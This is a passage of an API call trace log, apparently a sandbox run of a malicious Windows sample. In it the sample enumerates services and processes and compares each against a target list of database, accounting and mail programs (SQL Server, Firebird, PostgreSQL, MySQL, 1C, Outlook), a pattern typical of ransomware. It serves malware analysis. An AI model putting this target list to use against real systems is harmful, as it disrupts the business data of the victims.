(lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0267.030] lstrlenW (lpString="Netman") returned 6 [0267.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0267.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0267.031] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0267.031] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0267.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0267.031] lstrlenW (lpString="netprofm") returned 8 [0267.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0267.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0267.031] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0267.031] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0267.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0267.031] lstrlenW (lpString="NlaSvc") returned 6 [0267.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0267.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0267.032] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0267.032] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0267.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0267.032] lstrlenW (lpString="nsi") returned 3 [0267.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0267.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0267.032] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0267.032] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0267.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0267.032] lstrlenW (lpString="PcaSvc") returned 6 [0267.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0267.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0267.033] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0267.033] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0267.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0267.033] lstrlenW (lpString="PlugPlay") returned 8 [0267.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0267.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0267.033] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0267.033] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0267.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0267.033] lstrlenW (lpString="Power") returned 5 [0267.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0267.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0267.034] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0267.034] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0267.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0267.034] lstrlenW (lpString="ProfSvc") returned 7 [0267.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0267.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0267.034] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0267.034] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0267.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0267.034] lstrlenW (lpString="RpcEptMapper") returned 12 [0267.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0267.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0267.035] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0267.035] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0267.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0267.035] lstrlenW (lpString="RpcSs") returned 5 [0267.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0267.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0267.036] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0267.036] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0267.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0267.036] lstrlenW (lpString="SamSs") returned 5 [0267.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0267.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0267.036] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0267.036] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0267.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0267.036] lstrlenW (lpString="Schedule") returned 8 [0267.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0267.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0267.037] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0267.037] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0267.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0267.037] lstrlenW (lpString="SENS") returned 4 [0267.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0267.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0267.037] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0267.037] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0267.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0267.037] lstrlenW (lpString="ShellHWDetection") returned 16 [0267.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0267.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0267.038] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0267.038] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0267.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0267.038] lstrlenW (lpString="Spooler") returned 7 [0267.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0267.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0267.038] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0267.038] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0267.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0267.038] lstrlenW (lpString="SysMain") returned 7 [0267.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0267.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0267.039] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0267.040] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0267.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0267.040] lstrlenW (lpString="Themes") returned 6 [0267.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0267.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0267.040] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0267.040] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0267.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0267.040] lstrlenW (lpString="TrkWks") returned 6 [0267.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0267.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0267.040] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0267.041] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0267.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0267.041] lstrlenW (lpString="UxSms") returned 5 [0267.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0267.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0267.041] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0267.041] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0267.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0267.041] lstrlenW (lpString="WdiServiceHost") returned 14 [0267.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0267.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0267.041] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0267.041] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0267.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0267.042] lstrlenW (lpString="WdiSystemHost") returned 13 [0267.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0267.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0267.042] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0267.042] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0267.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0267.042] lstrlenW (lpString="Winmgmt") returned 7 [0267.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0267.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0267.042] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0267.042] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0267.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0267.043] lstrlenW (lpString="WPDBusEnum") returned 10 [0267.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0267.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0267.043] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0267.043] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0267.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0267.043] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42e5000 | out: hHeap=0x590000) returned 1 [0267.043] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x354 [0267.048] Process32FirstW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.049] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0267.275] lstrlenW (lpString="System") returned 6 [0267.275] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0267.275] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0267.275] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0267.275] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0267.275] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0267.275] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0267.275] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0267.275] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0267.276] lstrlenW (lpString="smss.exe") returned 8 [0267.276] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0267.277] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0267.277] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0267.277] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0267.277] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0267.277] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0267.277] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0267.277] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.278] lstrlenW (lpString="csrss.exe") returned 9 [0267.278] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0267.278] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0267.278] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0267.279] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0267.279] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0267.279] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0267.279] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0267.279] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0267.280] lstrlenW (lpString="wininit.exe") returned 11 [0267.280] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0267.280] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0267.280] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0267.280] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0267.280] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0267.280] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0267.280] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0267.280] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.281] lstrlenW (lpString="csrss.exe") returned 9 [0267.281] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0267.282] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0267.282] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0267.282] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0267.282] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0267.282] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0267.282] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0267.282] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0267.283] lstrlenW (lpString="winlogon.exe") returned 12 [0267.283] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0267.283] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0267.283] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0267.283] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0267.284] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0267.285] lstrlenW (lpString="services.exe") returned 12 [0267.285] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0267.286] lstrlenW (lpString="lsass.exe") returned 9 [0267.286] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0267.287] lstrlenW (lpString="lsm.exe") returned 7 [0267.287] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.288] lstrlenW (lpString="svchost.exe") returned 11 [0267.289] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.290] lstrlenW (lpString="svchost.exe") returned 11 [0267.290] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.291] lstrlenW (lpString="svchost.exe") returned 11 [0267.291] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.292] lstrlenW (lpString="svchost.exe") returned 11 [0267.292] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.293] lstrlenW (lpString="svchost.exe") returned 11 [0267.293] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0267.294] lstrlenW (lpString="audiodg.exe") returned 11 [0267.295] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.295] lstrlenW (lpString="svchost.exe") returned 11 [0267.296] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0267.297] lstrlenW (lpString="explorer.exe") returned 12 [0267.297] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0267.298] lstrlenW (lpString="dwm.exe") returned 7 [0267.298] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.299] lstrlenW (lpString="svchost.exe") returned 11 [0267.299] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0267.301] lstrlenW (lpString="winhost.exe") returned 11 [0267.301] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0267.302] lstrlenW (lpString="spoolsv.exe") returned 11 [0267.302] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.303] lstrlenW (lpString="svchost.exe") returned 11 [0267.303] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0267.304] lstrlenW (lpString="taskhost.exe") returned 12 [0267.304] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0267.305] lstrlenW (lpString="reader_sl.exe") returned 13 [0267.305] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0267.306] lstrlenW (lpString="taskhost.exe") returned 12 [0267.306] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0267.307] lstrlenW (lpString="dllhost.exe") returned 11 [0267.307] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0267.308] lstrlenW (lpString="consent.exe") returned 11 [0267.308] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0267.309] CloseHandle (hObject=0x354) returned 1 [0267.309] Sleep (dwMilliseconds=0x1f4) [0268.564] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e388 [0268.567] EnumServicesStatusExW (in: hSCManager=0x62e388, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0268.568] GetLastError () returned 0xea [0268.568] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x113e) returned 0x42e5000 [0268.568] EnumServicesStatusExW (in: hSCManager=0x62e388, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e5000, cbBufSize=0x113e, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e5000, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0268.571] CloseServiceHandle (hSCObject=0x62e388) returned 1 [0268.571] lstrlenW (lpString="Appinfo") returned 7 [0268.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0268.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0268.572] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0268.572] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0268.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0268.572] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0268.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0268.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0268.572] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0268.572] lstrcmpiW 